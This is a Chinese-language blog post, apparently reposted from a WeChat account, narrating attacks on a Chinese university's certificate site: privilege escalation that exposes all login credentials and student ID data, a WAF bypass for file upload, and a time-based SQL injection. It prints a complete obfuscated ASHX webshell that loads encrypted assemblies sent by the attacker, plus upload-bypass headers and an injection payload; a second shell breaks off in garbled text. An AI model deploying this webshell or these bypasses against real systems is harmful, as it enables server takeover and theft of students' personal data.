免责声明
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。
由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。漏洞猎人安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
文中涉及漏洞均以提交至相关漏洞平台,禁止打再次复现主意!!!
本次挖掘的目标是国内某开大学
漏洞点1:越权
url:https://xxxx.xxxxx.edu.cn
某开大学证书站 (同系统不同站 思路一样)
通过superadmin账号登录获取日志接口信息
password替换成
ecfe6335568d9aa8fxxxxxxxd92bca
日志接口获取所有登录过的账号和密码
post /sys/log/loadLogLoginAndOutList
rows=10&page=2&order=asc&remote_ip=&username=&startTime=&endTime=
拿获取的学生账号登录
15xxxxxx
3a453xxxxxxxxxxxx1eef6d9
接口获取学生个人信息,身份证+姓名+学号
/gradms/base/infoStutrainInfo/loadInfoStutrainInfoList?state=1
GET改为POST传输
rows=10&page=1&order=asc&orgCode=&majorUniqueId=&grade=&perNum=&perName=
page是页数
POST /auth/switchPosition
positionId=1
直接成为管理员
漏洞点2:文件上传GetShell
漏洞点1:
网站存在一处上传
WAF是安全狗的 头像处
先上传一个11.jpg的文件,然后抓包的时候改成11.html.ashx
然后记住104DCCCA002D5F067BFD970D2CF37410这样就绕过检测
直接上传11.ashx会waf拦截
然后继续吧得到的Ticket替换之前成11.html.ashx的
然后插入免杀一句话,11.jpg改成11.html.ashx并且替换ticket改成 104DCCCA002D5F067BFD970D2CF37410
WAF检测文件名和内容
这里用到两个脚本一个是ashx免杀马
一个是生成文件的马,都能绕过安全狗检测
ashx马:
<%@ Language="C#" Class="Handler1" %>
public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
{
public void ProcessRequest(System.Web.HttpContext Context) { try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){} } public bool IsReusable { get { return false; } } }
ashx生成马:
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; //偬(頤
目录遍历(全局都是遍历)
可以看到解析了并且内容也出来了
漏洞2
账号注册随意 一般都有头像上传或者申请要上传证件照什么的
如果上传php-waf的话拦截
Content-Disposition: form-data; name="file"; filename="1.html
Content-Disposition: filename="."
双写Content-Disposition拼接绕过
判断第一个filename获取不到闭合换下行组合白名单闭合绕过
漏洞点3:SQL注入两处Bypass
注入点
/apps/MyVideo/TeacherSchool/MyStudent.aspx
注入绕过
11'+//AND+//(//SELECT//+2868+//FROM//+(//SELECT//(SLEEP(2)))pcFy)+//AND//+'
成功注入出数据
原文始发于微信公众号(漏洞猎人安全):记一次对某个985证书站大学的漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论